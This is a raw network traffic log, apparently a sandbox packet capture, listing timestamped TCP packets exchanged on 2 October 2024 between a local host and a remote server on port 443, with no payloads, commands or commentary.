Oct 2, 2024 06:10:18.185218096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185237885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185277939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185283899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185312033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185331106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185547113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185564041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185600996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185606003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185637951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185647964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185869932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185889959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185928106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185933113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.185966969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.185985088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.196017027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.196032047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.196120024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.196125984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.196330070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.273834944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.273850918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.273927927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.273935080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.273978949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.274272919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274290085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274344921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.274349928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274537086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274560928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274602890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.274607897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.274646044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.274657965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.275352955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.275369883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.275439024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.275444984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.275592089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.275975943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.275990963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.276042938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.276048899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.276159048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.276472092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.276487112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.276540995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.276546955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.276663065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.276993990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.277008057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.277062893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.277069092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.277117014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.286782980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.286798000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.286879063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.286885023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.287044048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.364303112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.364320040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.364377975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.364389896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.364494085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.364999056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365015030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365077972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.365083933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365163088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.365354061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365369081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365430117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.365434885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.365484953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.365997076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.366014004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.366072893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.366077900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.366143942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.366916895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.366933107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.366997004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367002964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367047071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367114067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367130041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367176056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367182016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367225885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367413998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367430925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367475033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367480040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.367507935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.367532015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.377703905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.377721071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.377787113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.377798080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.377989054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.468602896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.468622923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.468672037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.468691111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.468713999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.468729973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.470623970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.470639944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.470701933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.470710993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.470765114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.471328020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.471353054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.471410036 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.471415997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.471440077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.471457958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.472424030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.472438097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.472489119 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.472495079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.472589970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.472949028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.472979069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.473011017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.473016024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.473038912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.473051071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.473691940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.473706961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.473759890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.473764896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.473808050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.473808050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.474231005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.474252939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.474289894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.474293947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.474354029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.474354029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.479406118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.479419947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.479494095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.479499102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.479537964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.558651924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.558670044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.558727026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.558744907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.558860064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.560312986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560331106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560375929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.560381889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560412884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.560440063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.560794115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560812950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560867071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.560870886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.560908079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.562372923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562386990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562443972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.562448978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562510967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.562866926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562884092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562933922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.562938929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.562964916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.562983990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.563482046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.563498020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.563548088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.563551903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.563751936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.563934088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.563950062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.564001083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.564006090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.564055920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.569623947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.569641113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.569694042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.569699049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.569736004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.569752932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.649141073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.649157047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.649245024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.649254084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.649729967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.651657104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651674986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651741028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.651746988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651871920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651890039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651932001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.651937962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.651963949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.651990891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.652956009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.652971983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.653034925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.653040886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.653184891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.653816938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.653831959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.653877974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.653883934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.653911114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.653924942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.654290915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654305935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654387951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.654392004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654529095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.654644012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654658079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654716969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.654721975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.654866934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.660238028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.660252094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.660316944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.660326004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.660458088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.740180016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.740199089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.740278006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.740309000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742530107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742547989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742598057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.742604017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742630005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.742666006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.742748022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742763042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.742819071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.742825031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.743557930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.743756056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.743772030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.743834019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.743839025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744426012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744443893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744481087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.744493961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744509935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.744538069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.744801998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744817019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.744875908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.744880915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.745378017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.745397091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.745452881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.745459080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.747560024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.753278017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.753294945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.753350973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.753360987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.755561113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.836509943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836529970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836621046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.836627960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836666107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.836827040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836843014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836924076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.836930037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.836977959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.837316990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837333918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837377071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.837382078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837414026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.837421894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.837802887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837820053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837877989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.837882042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.837965012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838000059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838033915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838038921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838058949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838083982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838310003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838325024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838388920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838393927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838725090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838742971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838803053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838809013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.838819027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.838879108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.844376087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.844392061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.844460011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.844465017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.847562075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928014040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928037882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928117990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928155899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928165913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928193092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928201914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928225040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928231001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928239107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928268909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928303003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928369045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928385973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928423882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928427935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928447962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.928699017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928718090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928750038 CEST	49744	443	192.168.2.4	167.114.14.168
